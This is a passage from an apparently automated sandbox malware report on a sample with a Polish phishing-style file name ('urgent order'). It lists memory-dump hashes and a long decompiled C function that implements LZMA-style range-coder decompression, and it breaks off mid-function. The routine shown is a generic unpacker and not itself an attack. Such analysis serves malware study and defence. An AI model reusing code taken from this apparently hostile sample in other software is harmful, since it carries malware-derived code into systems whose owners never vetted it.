                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2f3dabd0af62f4e8bfcd4b659d73a5ba33a7939e144f292b7bb16ba2439e66e8
                                                                                              • Instruction ID: 63ee65aff5d1ea53a99bb7455827a561e54e570c364fe5978cc4b9ff32097947
                                                                                              • Opcode Fuzzy Hash: 2f3dabd0af62f4e8bfcd4b659d73a5ba33a7939e144f292b7bb16ba2439e66e8
                                                                                              • Instruction Fuzzy Hash: E9711271D04228CBDF24CFA8C8547ADBBF1FB48305F15806AD856BB281D7786A96DF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406701 Relevance: 5.2, APIs: 4, Instructions: 170COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E00406701() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00406BE7))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4)); // executed
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														__ebx = __edx + 1;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
